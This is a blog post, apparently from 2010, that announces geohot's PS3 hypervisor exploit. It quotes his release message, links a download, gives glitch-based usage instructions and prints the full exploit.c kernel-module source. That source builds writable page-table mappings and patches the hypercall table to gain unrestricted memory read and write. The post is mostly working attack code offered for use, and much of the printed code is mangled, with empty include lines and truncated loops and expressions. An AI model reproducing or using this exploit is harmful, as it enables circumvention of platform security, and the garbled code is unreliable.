Geohot’s PS3 exploit released 1.26.2010 PS3 HACKED

Geohot’s PS3 Exploit released for download

Geohot has released the exploit that will allow for the PS3 to be hacked. This is what the hacking community have been waiting for. Geohot’s PS3 exploit will have the console hacking scene raving in hours. This is not for the average user only experienced hackers will be comfortable with this code.

[Quote]

“In the interest of openness, I’ve decided to release the exploit. Hopefully, this will ignite the PS3 scene, and you will organize and figure out how to use this to do practical things, like the iPhone when jailbreaks were first released. I have a life to get back to and can’t keep working on this all day and night.

Please document your findings on the psDevWiki. They have been a great resource so far, and with the power this exploit gives, opens tons of new stuff to document. I’d like to see the missing HV calls filled in, nice memory maps, the boot chain better documented, and progress on a 3D GPU driver. And of course, the search for a software exploit.

This is the coveted PS3 exploit, gives full memory access and therefore ring 0 access from OtherOS. Enjoy your hypervisor dumps. This is known to work with version 2.4.2 only, but I imagine it works on all current versions. Maybe later I’ll write up how it works

Good luck!”

Download Geohot’s PS3 exploit
http://geohotps3.blogspot.com/2010/01/heres-your-silver-platter.html

Download Geohot’s ps3 exploit in zip format

there are 5 files contained in the zip file, two of which are just instruction’s in the form of a picture and .txt file.

the following are a list of files in the .zip folder

1.pokemehere.jpg
2.run.sh
3.exploit.c
4.makefile
5.instructions.txt

INSTRUCTIONS.TXT includes:
!!EXPLOIT IS FOR RESEARCH PURPOSES ONLY!!

Usage Instructions:

Compile and run the kernel module.

When the “PRESS THE BUTTON IN THE MIDDLE OF THIS” comes on, pulse the line circled in the picture low for ~40ns.
Try this multiple times, I rigged an FPGA button to send the pulse.
Sometimes it kernel panics, sometimes it lv1 panics, but sometimes you get the exploit!!
If the module exits, you are now exploited.

This adds two new HV calls,
u64 lv1_peek(16)(u64 address)
void lv1_poke(20)(u64 address, u64 data)
which allow any access to real memory.

The PS3 is hacked, its your job to figure out something useful to do with it.

http://geohotps3.blogspot.com/

exploit.c
// PS3 exploit code
// c2010 geohot
// I DO NOT CONDONE PIRACY, EXPLOIT IS FOR RESEARCH USE ONLY

#include
#include
#include
#include
#include

#include
#include
#include
#include
#include
#include

#include
#include
#include
#include
#include
#include

#include
#include
#include
#include

#include

void hexdump(unsigned long *d, int l) {
int i;
for(i=0;i>12)&0xFFFFFFFFF;
}

#define LENGTH 0x1000000
#define COUNT 0x40

volatile unsigned long cache_clear[0x100000];

volatile int exploit_first_stage() {
unsigned long lpar, lpar2, crap, g1, glitch=0, status, i;
printk(KERN_ERR “allocate memory: %d\n”, lv1_allocate_memory(0x100000, 0x14, 0, 0, &lpar, &crap));
printk(KERN_ERR “PRESS THE BUTTON IN THE MIDDLE OF THIS\n”);

for(i=0;i<0x10000;i++) {
g1 = ((unsigned long*)0xD000080080000000)[i*2];
if( (g1 & 1) == 0 || (g1&0xFFFFFFFF00000000) == 0x0000FFFF00000000) {
// isn't valid or is previous crap
if(lv1_write_htab_entry(0,i,0x0000FFFF00000001|(i<<16) | ((((((i/8)^(((0x0000FFFF00000001|(i<>12) & 0x1FFF)) <>23)&0x1F)<<7) ,0x196|lpar) != 0) {
printk(KERN_ERR "bad HTAB write @ %X\n", i);
}
glitch++;
}
}
printk(KERN_ERR "added 0x%X HTAB entries\n", glitch);

volatile register unsigned long j, t1, t2, k, l;

//****************KERNEL CHILL TIME BEGIN****************
unsigned long irq, irq1, flags = 0, stack;
irq = __pa(get_irq_chip_data(20));
irq1 = __pa(get_irq_chip_data(16));
spinlock_t mr_lock = SPIN_LOCK_UNLOCKED;
spin_lock_irqsave(&mr_lock, flags);
preempt_disable();
lock_kernel();
hard_irq_disable();
lv1_configure_irq_state_bitmap(1,0,0);
lv1_configure_irq_state_bitmap(1,1,0);
//****************KERNEL CHILL TIME BEGIN****************

// get craps in the icache
lv1_allocate_memory(0x1000, 0xC, 0, 0, &lpar2, &crap);
lv1_release_memory(lpar2);

for(j=0;j<LENGTH;j++) {
if(j==(LENGTH/2)) {
t1 = mftb();
status = lv1_release_memory(lpar);
t2 = mftb();
memset(cache_clear, 0xAA, 0x100000);
}
}

//****************KERNEL CHILL TIME END****************
lv1_configure_irq_state_bitmap(1,1,irq1);
lv1_configure_irq_state_bitmap(1,0,irq);
__hard_irq_enable();
unlock_kernel();
preempt_enable();
spin_unlock_irqrestore(&mr_lock, flags);
//****************KERNEL CHILL TIME END****************

printk(KERN_ERR "time was 0x%lx, 0x%x per, %d\n", t2-t1, (t2-t1)/glitch, status);

t1 = 0;
t2 = 0;

for(i=0;i0) {
printk(KERN_ERR “EXPLOIT ENTRY FOUND!!!!!\n”);
return 0;
}

return -1;
}

unsigned long SLB[128];

// 64 entries in the SLB
inline int read_slb() {
unsigned long i, j;
unsigned long *entry;
for(i=0;i<64;i++) {
entry = &SLB[i*2];
__asm__ volatile("slbmfee 3, %0\n"
"std 3, 0(%1)\n"
"slbmfev 3, %0\n"
"std 3, 8(%1)\n"
:
: "r" (i), "r" (entry)
: "r3");
}
return 0;
}

// move into another virtual address space

unsigned long HTAB_0[0x20000];
unsigned long HTAB_1[0x20000];

volatile long hypercall_in_c() {
return 0x8FFFFFFEF;
}

volatile long call_hypercall_tlbia(unsigned long* r4) {
unsigned long ret;
unsigned long inr4 = *r4, outr4;
asm volatile("mr 3, %2\n"
"li 11, 16\n"
"sc 1\n"
"mr %0, 3\n"
"mr %1, 4\n"
: "=r" (ret), "=r" (outr4)
: "r" (inr4)
: "r3", "r4", "r5", "r6", "r7", "r8", "r9", "r10", "r11", "r12" );
*r4 = outr4;
return ret;
}

volatile int exploit_second_stage() {
unsigned long crap, j, slb1, slb2, msr, hsprg0;
unsigned long i, g1, g2, status, raff_ptr;
unsigned long vas_id, old_vas_id;
unsigned long act_htab_size;
//2, (24<<56)|(16<<48)
printk(KERN_ERR "construct address space: %d\n", lv1_construct_virtual_address_space(20, 2, 0x1814000000000000, &vas_id, &act_htab_size));
lv1_get_virtual_address_space_id_of_ppe(0, &old_vas_id);
printk(KERN_ERR "address space is %d, old was %d\n", vas_id, old_vas_id);
if(vas_id == 0) {
printk(KERN_ERR "ADDRESS SPACE FAIL\n");
return 0;
}

read_slb();
for(i=0;i>27)&1) {
printk(KERN_ERR “%lx %lx\n”, SLB[i*2]&0xFFFFFFFFF0000000, SLB[(i*2)+1]>>12);
}
}
//hexdump(SLB, 128);

unsigned long htab_lpar;
lv1_map_htab(0, &htab_lpar);
unsigned long htab_ra = get_real_address_from_lpar(htab_lpar);

unsigned long other_htab_lpar;
lv1_map_htab(vas_id, &other_htab_lpar);
unsigned long* other_htab = __ioremap(other_htab_lpar, 0x100000, 3);
unsigned long other_htab_ra = get_real_address_from_lpar(other_htab_lpar);

printk(KERN_ERR “fix values are %lx %lx\n”, other_htab_lpar, vas_id);

// add the messed up one
for(raff_ptr=0;raff_ptr>12) == 0x400) ) {
printk(KERN_ERR “FOUND ENTRY %16.16lx %16.16lx @ %X\n”, g1, g2, raff_ptr);
break;
}
}
if(raff_ptr==0x10000) {
printk(KERN_ERR “EXPLOIT NOT FOUND\n”);
goto hard_die;
}

if(other_htab_ra != ((g2&0xFFFF000)>>12) ) {
printk(KERN_ERR “BAD ADDRESS OF REGIONS HTAB\n”);
goto die;
}

// add the segment
crap = 0x5000000000000000;
__asm__ volatile(“slbie %0\n”
:
: “r” (crap) );

read_slb();
for(j=0;j>27)&1) == 0) {
break;
}
}
// j is first SLB I can use
slb1 = 0x5000000008000000|j;
//slb2 = 0x0000FFFF00000400|(raff_ptr<>12) & 0x1FFF)) <>2)&1)?24:12);
printk(KERN_ERR “computed VA is %lx\n”, va);

unsigned long* other_htab_rw = va;
other_htab_rw[0] = 0x0000FFFF00000001;
other_htab_rw[1] = 0x0000000000000196|(htab_ra< %lx\n”, usb1_ra);
printk(KERN_ERR “0x4000001e0000 -> %lx\n”, usb2_ra);
printk(KERN_ERR “0x4000001f0000 -> %lx\n”, usb3_ra);
printk(KERN_ERR “0x400000200000 -> %lx\n”, usb4_ra);

// skip first entry, it’s mine and important
for(i=1;i<0x10000;i++) {
g1 = ((unsigned long*)0xD000080080000000)[i*2];
g2 = ((unsigned long*)0xD000080080000000)[(i*2)+1];
if(g1&1) {
unsigned long va = 0xFFFFFFFFFFFFFFFF, ra;
for(j=0;j>27)&1) {
if((SLB[(j*2)+1]>>12) == (g1>>12)) {
va = SLB[j*2]&0xFFFFFFFFF0000000;
}
}
}
if(va == 0xFFFFFFFFFFFFFFFF) {
continue;
//printk(KERN_ERR “ENTRY NOT FOUND IN SLB: %lx\n”, (g1>>12));
}
valid_count++;

va |= ((i/8)^((g1>>(7+5)) & 0x1FFF)) <>2)&1)?24:12);
ra = g2 >> 12;

my_lpar = 0xFFFFFFFFFFFFFFFF;

if( ra >= 0x1000 && ra = 0x8000 ) {
my_lpar = (ra-0x8000) << 12;
} else {
my_lpar = 0x6c0058000000 | ((ra-0x1000)<<12);
}
} else if( (ra&0xFFFFFFFFFFFFFF00) == htab_ra) {
my_lpar = htab_lpar + ((ra-htab_ra) << 12);
} else if( (ra&0xFFFFFFFFFFFFFF00) == other_htab_ra) {
my_lpar = other_htab_lpar + ((ra-other_htab_ra) <= 0x28000080 && ra %lx\n”, i, g1, g2, va, ra);
}

if(other_htab[i*2] != g1 || other_htab[(i*2)+1] != g2) {
printk(KERN_ERR “verify failed on %X\n”, i);
printk(KERN_ERR “%lx %lx — %lx %lx\n”, g1, g2, other_htab[i*2], other_htab[(i*2)+1]);
//goto home;
}
}
}

printk(KERN_ERR “wrote 0x%X/0x%X htab entries\n”, count, valid_count);

hexdump(other_htab, 4);
printk(KERN_ERR “OOO R/W\n”);
hexdump(other_htab_rw, 4);

// add the segment different
crap = 0x5000000000000000;
__asm__ volatile(“slbie %0\n”
:
: “r” (crap) );

read_slb();
for(j=0;j>27)&1) == 0) {
break;
}
}
// j is first SLB I can use
slb1 = 0x5000000008000000|j;
slb2 = 0x0000FFFF00000400;
__asm__ volatile(“slbmte %0, %1\n”
:
: “r” (slb2), “r” (slb1) );

printk(KERN_ERR “GOING UNDERCOVER\n”);

//****************KERNEL CHILL TIME BEGIN****************
unsigned long irq, irq1, flags = 0;
irq = __pa(get_irq_chip_data(20));
irq1 = __pa(get_irq_chip_data(16));
spinlock_t mr_lock = SPIN_LOCK_UNLOCKED;
spin_lock_irqsave(&mr_lock, flags);
preempt_disable();
lock_kernel();
hard_irq_disable();
lv1_configure_irq_state_bitmap(1,0,0);
lv1_configure_irq_state_bitmap(1,1,0);
//****************KERNEL CHILL TIME BEGIN****************

status = lv1_select_virtual_address_space(vas_id);

// OMG, CRAZY, IN OTHER SPACE
unsigned long* htab_rw = 0x5000000000000000;
// middle part is 0 cause in position 0

// add htab r/w to itself
htab_rw[2] = 0x0000FFFF00000005;
htab_rw[3] = 0x0000000000000196;

lv1_select_virtual_address_space(old_vas_id);
//****************KERNEL CHILL TIME END****************
lv1_configure_irq_state_bitmap(1,1,irq1);
lv1_configure_irq_state_bitmap(1,0,irq);
__hard_irq_enable();
unlock_kernel();
preempt_enable();
spin_unlock_irqrestore(&mr_lock, flags);
//****************KERNEL CHILL TIME END****************

printk(KERN_ERR “prease i lived?!?!?: %d\n”, status);

// add the segment different again
crap = 0x5000000000000000;
__asm__ volatile(“slbie %0\n”
:
: “r” (crap) );

read_slb();
for(j=0;j>27)&1) == 0) {
break;
}
}
// j is first SLB I can use
slb1 = 0x5000000008000000|j;
slb2 = 0x0000FFFF00000500;
__asm__ volatile(“slbmte %0, %1\n”
:
: “r” (slb2), “r” (slb1) );

home:
printk(KERN_ERR “unmap other HTAB: %d\n”, lv1_unmap_htab(other_htab_lpar));
printk(KERN_ERR “destruct address space: %d\n”, lv1_destruct_virtual_address_space(vas_id));

hexdump(0xD000080080000000, 0x10);

return 0;
die:
printk(KERN_ERR “unmap other HTAB: %d\n”, lv1_unmap_htab(other_htab_lpar));
printk(KERN_ERR “destruct address space: %d\n”, lv1_destruct_virtual_address_space(vas_id));
return -1;
hard_die:
printk(KERN_ERR “unmap other HTAB: %d\n”, lv1_unmap_htab(other_htab_lpar));
printk(KERN_ERR “destruct address space: %d\n”, lv1_destruct_virtual_address_space(vas_id));
return -2;
}

void add_segment() {
// add the segment different again
unsigned long crap, j, slb1, slb2;
crap = 0x5000000000000000;
__asm__ volatile(“slbie %0\n”
:
: “r” (crap) );

read_slb();
for(j=0;j>27)&1) == 0) {
break;
}
}
// j is first SLB I can use
slb1 = 0x5000000008000000|j;
slb2 = 0x0000FFFF00000500;
__asm__ volatile(“slbmte %0, %1\n”
:
: “r” (slb2), “r” (slb1) );
}

volatile long lv1_peek(unsigned long real_addr) {
unsigned long ret;
asm volatile(“mr 3, %1\n”
“li 11, 16\n”
“sc 1\n”
“mr %0, 3\n”
: “=r” (ret)
: “r” (real_addr)
: “r3”, “r4”, “r5”, “r6”, “r7”, “r8”, “r9”, “r10”, “r11”, “r12”);
return ret;
}

volatile long lv1_poke(unsigned long real_addr, unsigned long data) {
unsigned long ret;
asm volatile(“mr 4, %2\n”
“mr 3, %1\n”
“li 11, 20\n”
“sc 1\n”
“mr %0, 3\n”
: “=r” (ret)
: “r” (real_addr), “r” (data)
: “r3”, “r4”, “r5”, “r6”, “r7”, “r8”, “r9”, “r10”, “r11”, “r12”);
return ret;
}

void install_hypercall() {
unsigned long lpar, crap;

hexdump(0xD000080080000000, 0x10);

if( *((unsigned long *)0xD000080080000010) != 0x0000FFFF00000005 ||
*((unsigned long *)0xD000080080000018) != 0x0000000000000196) {
printk(KERN_ERR “killer entry NOT present\n”);
return 0;
}

printk(KERN_ERR “allocate memory: %d\n”, lv1_allocate_memory(0x1000, 0xC, 0, 0, &lpar, &crap));
unsigned long* hypercall_in_zero_page = __ioremap(lpar, 0x1000, PAGE_SHARED_X);

hypercall_in_zero_page[0] = 0xE86300004E800020;
hypercall_in_zero_page[1] = 0xF883000038600000;
hypercall_in_zero_page[2] = 0x4E80002000000000;

unsigned long real_address = get_real_address_from_lpar(lpar)<<12;

add_segment();
unsigned long* hv_call_table = 0x500000000037C598;
hv_call_table[16] = real_address;
hv_call_table[20] = real_address+0x8;
printk(KERN_ERR "calling hypercall test got %16.16lx\n", lv1_peek(0x2401FC00000));
}

volatile int init_module() {
if( *((unsigned long *)0xD000080080000010) != 0x0000FFFF00000005 ||
*((unsigned long *)0xD000080080000018) != 0x0000000000000196) {
while(exploit_first_stage() == -1);
while(exploit_second_stage() == -1);
}
install_hypercall();
return 0;
}

void cleanup_module(void) {
printk(KERN_ERR "cleanup_module() called\n");
}

~geohot

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s